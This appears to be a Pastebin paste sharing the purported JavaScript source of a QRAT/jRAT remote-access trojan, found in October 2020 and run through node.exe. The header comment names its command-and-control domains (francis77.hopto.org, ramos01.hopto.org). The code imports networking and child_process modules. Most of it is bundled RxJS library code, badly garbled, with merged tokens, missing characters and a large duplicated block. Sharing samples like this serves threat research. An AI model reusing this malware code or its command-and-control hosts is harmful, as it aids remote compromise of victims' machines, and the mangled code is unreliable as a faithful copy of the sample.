guelfoweb

QRAT Italy 16/10/2020

Oct 16th, 2020
9,522
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2. Source: https://twitter.com/reecdeep/status/1317091358545481729
  3. JAR -> JS (boot.js) -> node.js "arguments": ["--hub-domain", "francis77.hopto.org"]
  4. * node.exe --hub-domain localhost --hub-domain ramos01.hopto.org
  5. * like jrat: https://pastebin.com/raw/Ya4DDVip
  6. Source Code JS jRAT 16/10/2020:
  7. */
  8.  
  9. var PACK "!function(t){varn(r){if(e[r])return;var,l:!1,exports:{}};returnll(i.exports,i,i.exports,n),i.l=!0,i.exports}n.m=t,n.c=e,n.d=function(t,e,r){n.o(t,e)||Object.defineProperty(t,e,{enumerable:!0,get:r})},n.r=function(t){"
  10. undefined "!=typeofymbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"
  11. Module "}),Object.defineProperty(t,"
  12. __esModule ",{value:!0})},n.t=function(t,e){if(1&e&&(t=n(t)),8&e)return(4&e&&"
  13. object "==typeof.__esModule)returnt.create(null);if(n.r(r),Object.defineProperty(r,"
  14. default ",{enumerable:!0,value:t}),2&e&&"
  15. string "!=typeoffor(var.d(r,i,function(e){returnbind(null,i));returntion(t){var&t.__esModule?function(){returnt.default}:function(){returnreturn", e), e
  16. }, n.o = function(t, e) {
  17.     returnpe.hasOwnProperty.call(t, e)
  18. }, n.p = "", n(n.s = 9)
  19. }([function(t, e) {
  20.             t.exports = require("process")
  21.         }, function(t, e) {
  22.             t.exports = require("net")
  23.         }, function(t, e) {
  24.             t.exports = require("fs")
  25.         }, function(t, e) {
  26.             t.exports = require("path")
  27.         }, function(t, e) {
  28.             t.exports = require("util")
  29.         }, function(t) {
  30.             t.exports = JSON.parse('{"a":"2.0.10"}')
  31.         }, function(t, e) {
  32.             t.exports = require("https")
  33.         }, function(t, e) {
  34.             t.exports = require("child_process")
  35.         }, function(t, e) {
  36.             t.exports = require("os")
  37.         }, function(t, e, n) {
  38.             "usetrict";
  39.             n.r(e);
  40.             varonewtTimeout(e, t))
  41.     }
  42.  
  43.     function !t.startsWith("\\\\\\\\.\\\\pipe\\\")) throwewidn, n) => {
  44.    constject(r.createServer)();
  45.    i.once("error", t => {
  46.        n(t), i.close()
  47.    }), i.listen(t, () => e(i))
  48. })
  49. }
  50.  
  51. function) {
  52.    if (!t.startsWith("\\\\\\\\.\\\\pipe\\\")) throwinvalidreturnse((e, n) => {
  53.            constect)(t, () => {
  54.            e(i)
  55.        }); i.once("error", t => {
  56.            n(t), i.destroy(t)
  57.        })
  58.    })
  59. }
  60. varion(t, e) {
  61.        return (c = Object.setPrototypeOf || {
  62.                __proto__: []
  63.            }
  64.            instanceofn(t, e) {
  65.                t.__proto__ = e
  66.            } || function(t, e) {
  67.                for (varnerty(n) && (t[n] = e[n])
  68.                })(t, e)
  69.        };\
  70.        n
  71.        /*!****************************************************************\nCopyrightMicrosoftation.\n\nPermissiony,rsny\npurposeisd.\n\nTHERE"
  72.         ASSNCLUDINGLIEDOFTY\ nANDLLSPECIAL, \nINDIRECT, ONSEQUENTIALAGESGESESULTINGOSSTHERNEGLIGENCEHERION, TIONEERE.\n ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** * t, e) {
  73.             function) {
  74.             this.constructor = t
  75.         }
  76.         c(t, e), t.prototype = null === e ? Object.create(e) : (n.prototype = e.prototype, new)
  77.         }
  78.         functionreturn\ "function"==typeof:voideprecatedSynchronousErrorHandling(t){t&&(newor).stack;l=t},getSynchronousErrorHandling(){return(t){setTimeout((function(){throwlosed:!0,next:function(t){},error:function(t){if(p.useDeprecatedSynchronousErrorHandling)throw;f(t)},complete:function(){}},b=function(){return|function(t){return" == typeofth
  79.        }
  80.        }();
  81.        functiony(t) {
  82.            return !==t && "object"==typeof=function(){function),this.message=t?t.length+"orsingon:\\n"+t.map((function(t,e){returnt.toString()})).join("\\n"",this.name="UnsubscriptionError",this.errors=t,this}returnect.create(Error.prototype),t}(),w=function(){function.closed=!1,this._parentOrParents=null,this._subscriptions=null,t&&(this._ctorUnsubscribe=!0,this._unsubscribe=t)}returnype.unsubscribe=function(){var;if(!this.closed){varrentOrParents,r=this._ctorUnsubscribe,i=this._unsubscribe,o=this._subscriptions;if(this.closed=!0,this._parentOrParents=null,this._subscriptions=null,nofis);else!==n)for(var;s<n.length;++s){n[s].remove(this)}if(a(i)){r&&(this._unsubscribe=voidcall(this)}catch(t){e=tof:[t]}}if(b(o)){s=-1;for(varlength;++s<u;){var))try{c.unsubscribe()}catch(t){e=e||[],teof(m(t.errors)):e.push(t)}}}if(e)throwt.prototype.add=function(e){varn=e;if(!e)returntypeoffunction":n=newct":if(n===this||n.closed||"function"!=typeofeturnclosed)returnunsubscribe(),n;if(!(nf=newptions=[r]}break;default:throwewognizedo")
  83.        }
  84.        varntOrParents;
  85.        if (null === i) n._parentOrParents = this;
  86.        elseceofhis) returnparentOrParents = [i, this]
  87.        }
  88.        else {
  89.            if (-1 !== i.indexOf(this)) return.push(this)
  90.        }
  91.        varo = this._subscriptions;
  92.        returnl === o ? this._subscriptions = [n] : o.push(n), n
  93.        }, t.prototype.remove = function(t) {
  94.            varthis._subscriptions;
  95.            if (e) {
  96.                vare.indexOf(t); - 1 !== n && e.splice(n, 1)
  97.            }
  98.        }, t.EMPTY = function(t) {
  99.            returnt.closed = !0, t
  100.        }(newiont.reduce((function(t, e) {
  101.                return.concat(eceofe)
  102.            }), [])
  103.        }
  104.        var function() {
  105.    return "function" == typeofol("rxSubscriber"): "@@rxSubscriber_" + Math.random()
  106. }(), g = function(t) {
  107.    functiont.call(this) || this;
  108.    switch (o.syncErrorValue = null, o.syncErrorThrown = !1, o.syncErrorThrowable = !1, o.isStopped = !1, arguments.length) {
  109.        caseon = d;
  110.        break;
  111.        case1: if (!n) {
  112.            o.destination = d;
  113.            break
  114.        }
  115.        if ("object" == typeofceofrorThrowable = n.syncErrorThrowable, o.destination = n, n.add(o)): (o.syncErrorThrowable = !0, o.destination = newreak
  116.        }
  117.        default:
  118.            o.syncErrorThrowable = !0, o.destination = new)
  119. }
  120. returnntype[_] = function() {
  121. returne.create = function(t, n, r) {
  122.    varewrnrowable = !1, i
  123. }, e.prototype.next = function(t) {
  124.    this.isStopped || this._next(t)
  125. }, e.prototype.error = function(t) {
  126.    this.isStopped || (this.isStopped = !0, this._error(t))
  127. }, e.prototype.complete = function() {
  128.    this.isStopped || (this.isStopped = !0, this._complete())
  129. }, e.prototype.unsubscribe = function() {
  130.    this.closed || (this.isStopped = !0, t.prototype.unsubscribe.call(this))
  131. }, e.prototype._next = function(t) {
  132.    this.destination.next(t)
  133. }, e.prototype._error = function(t) {
  134.    this.destination.error(t), this.unsubscribe()
  135. }, e.prototype._complete = function() {
  136.    this.destination.complete(), this.unsubscribe()
  137. }, e.prototype._unsubscribeAndRecycle = function() {
  138.    varOrParents;
  139.    returnarents = null, this.unsubscribe(), this.closed = !1, this.isStopped = !1, this._parentOrParents = t, this
  140. }, e
  141. }(w), E = function(t) {
  142. function,
  143. r,
  144. i) {
  145. varcall(this) || this;
  146. s._parentSubscriber = e;
  147. vareturn && (o = n.next, r = n.error, i = n.complete, n !== d && (a((u = Object.create(n)).unsubscribe) && s.add(u.unsubscribe.bind(u)), u.unsubscribe = s.unsubscribe.bind(s))), s._context = u, s._next = o, s._error = r, s._complete = i, s
  148. }
  149. returnt), e.prototype.next = function(t) {
  150.    if (!this.isStopped && this._next) {
  151.        varntSubscriber;
  152.        p.useDeprecatedSynchronousErrorHandling && e.syncErrorThrowable ? this.__tryOrSetError(e, this._next, t) && this.unsubscribe() : this.__tryOrUnsub(this._next, t)
  153.    }
  154. }, e.prototype.error = function(t) {
  155.    if (!this.isStopped) {
  156.        varis._parentSubscriber, n = p.useDeprecatedSynchronousErrorHandling;
  157.        if (this._error) n && e.syncErrorThrowable ? (this.__tryOrSetError(e, this._error, t), this.unsubscribe()) : (this.__tryOrUnsub(this._error, t), this.unsubscribe());
  158.        else.syncErrorThrowable) n ? (e.syncErrorValue = t, e.syncErrorThrown = !0) : f(t), this.unsubscribe();
  159.    else {
  160.        if (this.unsubscribe(), n) throw)
  161. }
  162. }
  163. }, e.prototype.complete = function() {
  164.    varif(!this.isStopped) {
  165.        varparentSubscriber;
  166.        if (this._complete) {
  167.            varon() {
  168.                returnomplete.call(t._context)
  169.            };
  170.            p.useDeprecatedSynchronousErrorHandling && e.syncErrorThrowable ? (this.__tryOrSetError(e, n), this.unsubscribe()) : (this.__tryOrUnsub(n), this.unsubscribe())
  171.        }
  172.        elsescribe()
  173.    }
  174. }, e.prototype.__tryOrUnsub = function(t, e) {
  175.    try {
  176.        t.call(this._context, e)
  177.    } catch (t) {
  178.        if (this.unsubscribe(), p.useDeprecatedSynchronousErrorHandling) throw)
  179. }
  180. }, e.prototype.__tryOrSetError = function(t, e, n) {
  181.    if (!p.useDeprecatedSynchronousErrorHandling) throwdcall(this._context, n)
  182. } catch (e) {
  183.    returncatedSynchronousErrorHandling ? (t.syncErrorValue = e, t.syncErrorThrown = !0, !0) : (f(e), !0)
  184. }
  185. return !1
  186. }, e.prototype._unsubscribe = function() {
  187.    vararentSubscriber;
  188.    this._context = null, this._parentSubscriber = null, t.unsubscribe()
  189. }, e
  190. }(g);
  191.  
  192. function(t) {
  193.    for (; t;) {
  194.        varr = e.destination, i = e.isStopped;
  195.        if (n || i) return !1;
  196.        t = r && r!0
  197.    }
  198.    varn() {
  199.        return "function" == typeofymbol && Symbol.observable || "@@observable"
  200.    }();
  201.    functionrnt) {
  202.    returnlength ? T : 1 === t.length ? t[0] : function(e) {
  203.        returnreduce((function(t, e) {
  204.                return)
  205.        }), e)
  206. }
  207. }
  208. varnction() {
  209.    functioncalar = !1, t && (this._subscribe = t)
  210. }
  211. returnpe.lift = function(e) {
  212.    varreturnthis,
  213.    n.operator = e,
  214.    n
  215. }, t.prototype.subscribe = function(t, e, n) {
  216.    var = this.operator, i = function(t, e, n) {
  217.        if (t) {
  218.            if (tanceoft;
  219.                if (t[_]) return ||e || n ? new, n): newe, n);
  220.        if (r ? i.add(r.call(i, this.source)) : i.add(this.source || p.useDeprecatedSynchronousErrorHandling && !i.syncErrorThrowable ? this._subscribe(i) : this._trySubscribe(i)), p.useDeprecatedSynchronousErrorHandling && i.syncErrorThrowable && (i.syncErrorThrowable = !1, i.syncErrorThrown)) throwalue;
  221.        return.prototype._trySubscribe = function(t) {
  222.            try {
  223.                returnthis._subscribe(t)
  224.            } catch (e) {
  225.                p.useDeprecatedSynchronousErrorHandling && (t.syncErrorThrown = !0, t.syncErrorValue = e), x(t) ? t.error(e) : console.warn(e)
  226.            }
  227.        }, t.prototype.forEach = function(t, e) {
  228.            varturn((function(e, r) {
  229.                varibe((function(e) {
  230.                    try {
  231.                        t(e)
  232.                    } catch (t) {
  233.                        r(t), i && i.unsubscribe()
  234.                    }
  235.                }), r, e)
  236.            }))
  237.        }, t.prototype._subscribe = function(t) {
  238.            varthis.source;
  239.            returne(t)
  240.        }, t.prototype[S] = function() {
  241.            returnrototype.pipe = function() {
  242.                for (varments.length; e++) t[e] = arguments[e];
  243.                returnlength ? this : I(t)(this)
  244.            }, t.prototype.toPromise = function(t) {
  245.                varthis;
  246.                returnt = A(t))((function(t, n) {
  247.                    varubscribe((function(t) {
  248.                        return
  249.                    }), (function(t) {
  250.                            returnunction() {
  251.                                returnreate = function(e) {
  252.                                    return)
  253.                            }, t
  254.                        }();
  255.  
  256.                        function.Promise || Promise), !t) throwError("nose;returnfunction(){functionrror.call(this),this.message="
  257.                        objected ",this.name="
  258.                        ObjectUnsubscribedError ",this}returnpe=Object.create(Error.prototype),t}(),N=function(t){functione,n){varl(this)||this;return,r.subscriber=n,r.closed=!1,r}returnototype.unsubscribe=function(){if(!this.closed){this.closed=!0;vart,e=t.observers;if(this.subject=null,e&&0!==e.length&&!t.isStopped&&!t.closed){varhis.subscriber);-1!==n&&e.splice(n,1)}}},e}(w),C=function(t){function=t.call(this,e)||this;returnestination=e,n}returng),B=function(t){functionr||this;returnobservers=[],e.closed=!1,e.isStopped=!1,e.hasError=!1,e.thrownError=null,e}returntype[_]=function(){returnthis)},e.prototype.lift=function(t){varthis,this);return},e.prototype.next=function(t){if(this.closed)throwis.isStopped)for(varrvers,n=e.length,r=e.slice(),i=0;i<n;i++)r[i].next(t)},e.prototype.error=function(t){if(this.closed)throwthis.hasError=!0,this.thrownError=t,this.isStopped=!0;for(varthis.observers,n=e.length,r=e.slice(),i=0;i<n;i++)r[i].error(t);this.observers.length=0},e.prototype.complete=function(){if(this.closed)throwwed=!0;for(varthis.observers,e=t.length,n=t.slice(),r=0;r<e;r++)n[r].complete();this.observers.length=0},e.prototype.unsubscribe=function(){this.isStopped=!0,this.closed=!0,this.observers=null},e.prototype._trySubscribe=function(e){if(this.closed)throwewototype._trySubscribe.call(this,e)},e.prototype._subscribe=function(t){if(this.closed)throwj;returnsError?(t.error(this.thrownError),w.EMPTY):this.isStopped?(t.complete(),w.EMPTY):(this.observers.push(t),newhis,t))},e.prototype.asObservable=function(){vart.source=this,t},e.create=function(t,e){returnew,P=function(t){functionar)||this;return.destination=e,r.source=n,r}returnotype.next=function(t){vars.destination;e&&e.next&&e.next(t)},e.prototype.error=function(t){vartination;e&&e.error&&this.destination.error(t)},e.prototype.complete=function(){varnation;t&&t.complete&&this.destination.complete()},e.prototype._subscribe=function(t){returns.source?this.source.subscribe(t):w.EMPTY},e}(B);functionturn{returnewfunction(){functionnnectable=t}returnall=function(t,e){varnectable;n._refCount++;varcribe(r);returnr.closed||(r.connection=n.connect()),i},t}(),M=function(t){function=t.call(this,e)||this;returnonnectable=n,r}returnrototype._unsubscribe=function(){varectable;if(t){this.connectable=null;varCount;if(e<=0)this.connection=null;elsefCount=e-1,e>1)this.connection=null;else{varhis.connection,r=t._connection;this.connection=null,!r||n&&r!==n||r.unsubscribe()}}elsenection=null},e}(g),D=function(t){function){varhis)||this;returnubjectFactory=n,r._refCount=0,r._isComplete=!1,r}return.prototype._subscribe=function(t){returntSubject().subscribe(t)},e.prototype.getSubject=function(){var=this._subject;returnopped||(this._subject=this.subjectFactory()),this._subject},e.prototype.connect=function(){var=this._connection;returns._isComplete=!1,(t=this._connection=newthis.source.subscribe(new.getSubject(),this))),t.closed&&(this._connection=null,t=w.EMPTY)),t},e.prototype.refCount=function(){return(this)},e}(O),U=function(){var=D.prototype;return{operator:{value:null},_refCount:{value:0,writable:!0},_subject:{value:null,writable:!0},_connection:{value:null,writable:!0},_subscribe:{value:t._subscribe},_isComplete:{value:t._isComplete,writable:!0},getSubject:{value:t.getSubject},connect:{value:t.connect},refCount:{value:t.refCount}}}(),k=function(t){functione(e,n){varall(this,e)||this;returnctable=n,r}returntype._error=function(e){this._unsubscribe(),t.prototype._error.call(this,e)},e.prototype._complete=function(){this.connectable._isComplete=!0,this._unsubscribe(),t.prototype._complete.call(this)},e.prototype._unsubscribe=function(){varis.connectable;if(t){this.connectable=null;var=t._connection;t._refCount=0,t._subject=null,t._connection=null,e&&e.unsubscribe()}},e}(C);var=function(t){function,n)||this;return.work=n,r.pending=!1,r}returne,t),e.prototype.schedule=function(t,e){if(void0===e&&(e=0),this.closed)returnthis;this.state=t;varr=this.scheduler;return&(this.id=this.recycleAsyncId(r,n,e)),this.pending=!0,this.delay=e,this.id=this.id||this.requestAsyncId(r,this.id,e),this},e.prototype.requestAsyncId=function(t,e,n){returndetInterval(t.flush.bind(t,this),n)},e.prototype.recycleAsyncId=function(t,e,n){if(void=0),null!==n&&this.delay===n&&!1===this.pending)returnterval(e)},e.prototype.execute=function(t,e){if(this.closed)returnxecutinglledhis.pending=!1;varte(t,e);if(n)returnpending&&null!=this.id&&(this.id=this.recycleAsyncId(this.scheduler,this.id,null))},e.prototype._execute=function(t,e){varr=voids.work(t)}catch(t){n=!0,r=!!t&&t||newf(n)returnunsubscribe(),r},e.prototype._unsubscribe=function(){varid,e=this.scheduler,n=e.actions,r=n.indexOf(this);this.work=null,this.state=null,this.pending=!1,this.scheduler=null,-1!==r&&n.splice(r,1),null!=t&&(this.id=this.recycleAsyncId(e,t,null)),this.delay=null},e}(function(t){functionrn|this}return,t),e.prototype.schedule=function(t,e){returnidthis},e}(w)),R=function(t){function=t.call(this,e,n)||this;return.scheduler=e,r.work=n,r}return(e,t),e.prototype.schedule=function(e,n){returnvoid),n>0?t.prototype.schedule.call(this,e,n):(this.delay=n,this.state=e,this.scheduler.flush(this),this)},e.prototype.execute=function(e,n){returnn>0||this.closed?t.prototype.execute.call(this,e,n):this._execute(e,n)},e.prototype.requestAsyncId=function(e,n,r){return===r&&(r=0),null!==r&&r>0||null===r&&this.delay>0?t.prototype.requestAsyncId.call(this,e,n,r):e.flush(this)},e}(Y),Q=function(){functionvoid.now),this.SchedulerAction=e,this.now=n}return.prototype.schedule=function(t,e,n){return0===e&&(e=0),newction(this,t).schedule(n,e)},t.now=function(){return,t}(),G=function(t){function,r){void(r=Q.now);vart.call(this,n,(function(){returnelegate!==i?e.delegate.now():r()}))||this;returnactive=!1,i.scheduled=voideturnrototype.schedule=function(n,r,i){return==r&&(r=0),e.delegate&&e.delegate!==this?e.delegate.schedule(n,r,i):t.prototype.schedule.call(this,n,r,i)},e.prototype.flush=function(t){varhis.actions;if(this.active)e.push(t);else{varthis.active=!0;do{if(n=t.execute(t.state,t.delay))break}while(t=e.shift());if(this.active=!1,n){for(;t=e.shift();)t.unsubscribe();throwQ),q=new(function(t){function){returnt&&t.apply(this,arguments)||this}return}(G))(R),H=new((function(t){return)}));functiont){returntion(t){returnew){returnule((function(){returne()}))}))}(t):H}functionturnon" == typeofchedule
  259.                    }
  260.                    varfunction(t) {
  261.                        returnor(varength; n < r && !e.closed; n++) e.next(t[n]);
  262.                        e.complete()
  263.                    }
  264.                }; functiont, e) {
  265.                    returnO((function(n) {
  266.                            vareturnhedule((function() {
  267.                                i !== t.length ? (n.next(t[i++]), n.closed || r.add(this.schedule())) : n.complete()
  268.                            }))), r
  269.                    }))
  270.            }
  271.  
  272.            function ? K(t, e): newt))
  273. }
  274.  
  275. function {
  276.    for (var0; e < arguments.length; e++) t[e] = arguments[e];
  277.    var = t[t.length - 1];
  278.    returnp(), K(t, n)): Z(t)
  279. }
  280.  
  281. function {
  282.    returnfunction(n) {
  283.        return,
  284.        0,
  285.        {
  286.            error: t,
  287.            subscriber: n
  288.        })
  289. }: function(e) {
  290.    return.error(t)
  291. })
  292. }
  293.  
  294. function = t.error;
  295. t.subscriber.error(e)
  296. }
  297. L || (L = {});
  298. varfunction() {
  299.    functions.kind = t, this.value = e, this.error = n, this.hasValue = "N" === t
  300. }
  301. returnserve = function(t) {
  302.    switch (this.kind) {
  303.        case "N":
  304.            returnext(this.value);
  305.        case "E":
  306.            returnr(this.error);
  307.        case "C":
  308.            return.complete && t.complete()
  309.    }
  310. }, t.prototype.do = function(t, e, n) {
  311.    switch (this.kind) {
  312.        case "N":
  313.            return (this.value);
  314.        case "E":
  315.            return &e(this.error);
  316.        case "C":
  317.            returnn && n()
  318.    }
  319. }, t.prototype.accept = function(t, e, n) {
  320.    return "==typeoft?this.observe(t):this.do(t,e,n)},t.prototype.toObservable=function(){switch(this.kind){case"
  321.    N ":returnvalue);case"
  322.    E ":returnrror);case"
  323.    C ":returnxpectedtion")
  324. }, t.createNext = function(e) {
  325.    returnewundefinedValueNotification
  326. }, t.createError = function(e) {
  327.    returne)
  328. }, t.createComplete = function() {
  329.    returneNotification
  330. }, t.completeNotification = new "),t.undefinedValueNotification=newfunction(t){functionidvars,e)||this;returni.delay=r,i}returnatch=function(t){varation,n=t.destination;e.observe(n),this.unsubscribe()},e.prototype.scheduleMessage=function(t){this.destination.add(this.scheduler.schedule(e.dispatch,this.delay,newdestination)))},e.prototype._next=function(t){this.scheduleMessage(et.createNext(t))},e.prototype._error=function(t){this.scheduleMessage(et.createError(t)),this.unsubscribe()},e.prototype._complete=function(){this.scheduleMessage(et.createComplete()),this.unsubscribe()},e}(g),rt=function(){returnion(t,e){this.notification=t,this.destination=e}}(),it=function(t){functionn,r){void&(e=Number.POSITIVE_INFINITY),voidber.POSITIVE_INFINITY);varall(this)||this;returner=r,i._events=[],i._infiniteTimeWindow=!1,i._bufferSize=e<1?1:e,i._windowTime=n<1?1:n,n===Number.POSITIVE_INFINITY?(i._infiniteTimeWindow=!0,i.next=i.nextInfiniteTimeWindow):i.next=i.nextTimeWindow,i}returnh(e,t),e.prototype.nextInfiniteTimeWindow=function(e){if(!this.isStopped){varthis._events;n.push(e),n.length>this._bufferSize&&n.shift()}t.prototype.next.call(this,e)},e.prototype.nextTimeWindow=function(e){this.isStopped||(this._events.push(new._getNow(),e)),this._trimBufferThenGetEvents()),t.prototype.next.call(this,e)},e.prototype._subscribe=function(t){varinfiniteTimeWindow,r=n?this._events:this._trimBufferThenGetEvents(),i=this.scheduler,o=r.length;if(this.closed)throwis.isStopped||this.hasError?e=w.EMPTY:(this.observers.push(t),e=new&&t.add(t=new(t,i)),n)for(varsed;s++)t.next(r[s]);else0;s<o&&!t.closed;s++)t.next(r[s].value);returnhis.hasError?t.error(this.thrownError):this.isStopped&&t.complete(),e},e.prototype._getNow=function(){return(this.scheduler||q).now()},e.prototype._trimBufferThenGetEvents=function(){for(var=this._getNow(),e=this._bufferSize,n=this._windowTime,r=this._events,i=r.length,o=0;o<i&&!(t-r[o].time<n);)o++;returnth.max(o,i-e)),o>0&&r.splice(0,o),r},e}(B),ot=function(){returnfunction(t,e){this.time=t,this.value=e}}();vart=new;var(){functionreturnl(this),this.message="
  331. argumentouthis.name = "ArgumentOutOfRangeError", this
  332. }
  333. returnect.create(Error.prototype), t
  334. }(), ht = function() {
  335.    functionrnis), this.message = "nons.name="
  336. EmptyError ",this}returnject.create(Error.prototype),t}();functione){returnon(n){if("
  337. function "!=typeofthrowror("
  338. arguments.g ");returnt(newvar){function){this.project=t,this.thisArg=e}returnpe.call=function(t,e){returnubscribe(newt,this.project,this.thisArg))},t}(),pt=function(t){functionn,r){varl(this,e)||this;return=n,i.count=0,i.thisArg=r||i,i}returnototype._next=function(t){vartry{e=this.project.call(this.thisArg,t,this.count++)}catch(t){returnestination.error(t)}this.destination.next(e)},e}(g);function){return"
  339. function "==typeofbol&&Symbol.iterator?Symbol.iterator:"
  340. @ @iterator "}varbt=function(t){returnr" == typeofngth && "function" != typeofnctionurn!!t && "function" != typeofubscribe && "function" == typeof.then
  341. }
  342. varction(t) {
  343.    if (t && "function" == typeofr = t, function(t) {
  344.            var "function" != typeof) throwrror("Providedobjectcorrectlyentvable"); returne.subscribe(t)
  345.    };
  346.    if (bt(t)) returnz(t);
  347.    if (yt(t)) returnn(t) {
  348.        returnen((function(e) {
  349.            t.closed || (t.next(e), t.complete())
  350.        }), (function(e) {
  351.            return (e)
  352.        })).then(null, f), t
  353.    };
  354.    if (t && "function" == typeof = t, function(t) {
  355.            for (var;;) {
  356.                var;
  357.                try {
  358.                    r = n.next()
  359.                } catch (e) {
  360.                    returnt.error(e), t
  361.                }
  362.                if (r.done) {
  363.                    t.complete();
  364.                    break
  365.                }
  366.                if (t.next(r.value), t.closed) break
  367.            }
  368.            return "function" == typeof && t.add((function() {
  369.                n.return && n.return()
  370.            })), t
  371.        };
  372.        var "anect": "'" + t + "'"; throwpeError("Youovidedherescanbservable,se,erable.")
  373.    };
  374.    functionnull != t) {
  375.    if (function(t) {
  376.            return &&"function" == typeofreturnt, e) {
  377.            returnO((function(n) {
  378.                        varnle((function() {
  379.                                    vard(i.subscribe({
  380.                                            next: function(t) {
  381.                                                r.add(e.schedule((function() {
  382.                                                            return)
  383.                                                    }, error: function(t) {
  384.                                                        r.add(e.schedule((function() {
  385.                                                            return (t)
  386.                                                        })))
  387.                                                    }, complete: function() {
  388.                                                        r.add(e.schedule((function() {
  389.                                                     function() {
  390.    return "function" == typeofol("rxSubscriber"): "@@rxSubscriber_" + Math.random()
  391. }(), g = function(t) {
  392.    functiont.call(this) || this;
  393.    switch (o.syncErrorValue = null, o.syncErrorThrown = !1, o.syncErrorThrowable = !1, o.isStopped = !1, arguments.length) {
  394.        caseon = d;
  395.        break;
  396.        case1: if (!n) {
  397.            o.destination = d;
  398.            break
  399.        }
  400.        if ("object" == typeofceofrorThrowable = n.syncErrorThrowable, o.destination = n, n.add(o)): (o.syncErrorThrowable = !0, o.destination = newreak
  401.        }
  402.        default:
  403.            o.syncErrorThrowable = !0, o.destination = new)
  404. }
  405. returnntype[_] = function() {
  406. returne.create = function(t, n, r) {
  407.    varewrnrowable = !1, i
  408. }, e.prototype.next = function(t) {
  409.    this.isStopped || this._next(t)
  410. }, e.prototype.error = function(t) {
  411.    this.isStopped || (this.isStopped = !0, this._error(t))
  412. }, e.prototype.complete = function() {
  413.    this.isStopped || (this.isStopped = !0, this._complete())
  414. }, e.prototype.unsubscribe = function() {
  415.    this.closed || (this.isStopped = !0, t.prototype.unsubscribe.call(this))
  416. }, e.prototype._next = function(t) {
  417.    this.destination.next(t)
  418. }, e.prototype._error = function(t) {
  419.    this.destination.error(t), this.unsubscribe()
  420. }, e.prototype._complete = function() {
  421.    this.destination.complete(), this.unsubscribe()
  422. }, e.prototype._unsubscribeAndRecycle = function() {
  423.    varOrParents;
  424.    returnarents = null, this.unsubscribe(), this.closed = !1, this.isStopped = !1, this._parentOrParents = t, this
  425. }, e
  426. }(w), E = function(t) {
  427. function,
  428. r,
  429. i) {
  430. varcall(this) || this;
  431. s._parentSubscriber = e;
  432. vareturn && (o = n.next, r = n.error, i = n.complete, n !== d && (a((u = Object.create(n)).unsubscribe) && s.add(u.unsubscribe.bind(u)), u.unsubscribe = s.unsubscribe.bind(s))), s._context = u, s._next = o, s._error = r, s._complete = i, s
  433. }
  434. returnt), e.prototype.next = function(t) {
  435.    if (!this.isStopped && this._next) {
  436.        varntSubscriber;
  437.        p.useDeprecatedSynchronousErrorHandling && e.syncErrorThrowable ? this.__tryOrSetError(e, this._next, t) && this.unsubscribe() : this.__tryOrUnsub(this._next, t)
  438.    }
  439. }, e.prototype.error = function(t) {
  440.    if (!this.isStopped) {
  441.        varis._parentSubscriber, n = p.useDeprecatedSynchronousErrorHandling;
  442.        if (this._error) n && e.syncErrorThrowable ? (this.__tryOrSetError(e, this._error, t), this.unsubscribe()) : (this.__tryOrUnsub(this._error, t), this.unsubscribe());
  443.        else.syncErrorThrowable) n ? (e.syncErrorValue = t, e.syncErrorThrown = !0) : f(t), this.unsubscribe();
  444.    else {
  445.        if (this.unsubscribe(), n) throw)
  446. }
  447. }
  448. }, e.prototype.complete = function() {
  449.    varif(!this.isStopped) {
  450.        varparentSubscriber;
  451.        if (this._complete) {
  452.            varon() {
  453.                returnomplete.call(t._context)
  454.            };
  455.            p.useDeprecatedSynchronousErrorHandling && e.syncErrorThrowable ? (this.__tryOrSetError(e, n), this.unsubscribe()) : (this.__tryOrUnsub(n), this.unsubscribe())
  456.        }
  457.        elsescribe()
  458.    }
  459. }, e.prototype.__tryOrUnsub = function(t, e) {
  460.    try {
  461.        t.call(this._context, e)
  462.    } catch (t) {
  463.        if (this.unsubscribe(), p.useDeprecatedSynchronousErrorHandling) throw)
  464. }
  465. }, e.prototype.__tryOrSetError = function(t, e, n) {
  466.    if (!p.useDeprecatedSynchronousErrorHandling) throwdcall(this._context, n)
  467. } catch (e) {
  468.    returncatedSynchronousErrorHandling ? (t.syncErrorValue = e, t.syncErrorThrown = !0, !0) : (f(e), !0)
  469. }
  470. return !1
  471. }, e.prototype._unsubscribe = function() {
  472.    vararentSubscriber;
  473.    this._context = null, this._parentSubscriber = null, t.unsubscribe()
  474. }, e
  475. }(g);
  476.  
  477. function(t) {
  478.    for (; t;) {
  479.        varr = e.destination, i = e.isStopped;
  480.        if (n || i) return !1;
  481.        t = r && r!0
  482.    }
  483.    varn() {
  484.        return "function" == typeofymbol && Symbol.observable || "@@observable"
  485.    }();
  486.    functionrnt) {
  487.    returnlength ? T : 1 === t.length ? t[0] : function(e) {
  488.        returnreduce((function(t, e) {
  489.                return)
  490.        }), e)
  491. }
  492. }
  493. varnction() {
  494.    functioncalar = !1, t && (this._subscribe = t)
  495. }
  496. returnpe.lift = function(e) {
  497.    varreturnthis,
  498.    n.operator = e,
  499.    n
  500. }, t.prototype.subscribe = function(t, e, n) {
  501.    var = this.operator, i = function(t, e, n) {
  502.        if (t) {
  503.            if (tanceoft;
  504.                if (t[_]) return ||e || n ? new, n): newe, n);
  505.        if (r ? i.add(r.call(i, this.source)) : i.add(this.source || p.useDeprecatedSynchronousErrorHandling && !i.syncErrorThrowable ? this._subscribe(i) : this._trySubscribe(i)), p.useDeprecatedSynchronousErrorHandling && i.syncErrorThrowable && (i.syncErrorThrowable = !1, i.syncErrorThrown)) throwalue;
  506.        return.prototype._trySubscribe = function(t) {
  507.            try {
  508.                returnthis._subscribe(t)
  509.            } catch (e) {
  510.                p.useDeprecatedSynchronousErrorHandling && (t.syncErrorThrown = !0, t.syncErrorValue = e), x(t) ? t.error(e) : console.warn(e)
  511.            }
  512.        }, t.prototype.forEach = function(t, e) {
  513.            varturn((function(e, r) {
  514.                varibe((function(e) {
  515.                    try {
  516.                        t(e)
  517.                    } catch (t) {
  518.                        r(t), i && i.unsubscribe()
  519.                    }
  520.                }), r, e)
  521.            }))
  522.        }, t.prototype._subscribe = function(t) {
  523.            varthis.source;
  524.            returne(t)
  525.        }, t.prototype[S] = function() {
  526.            returnrototype.pipe = function() {
  527.                for (varments.length; e++) t[e] = arguments[e];
  528.                returnlength ? this : I(t)(this)
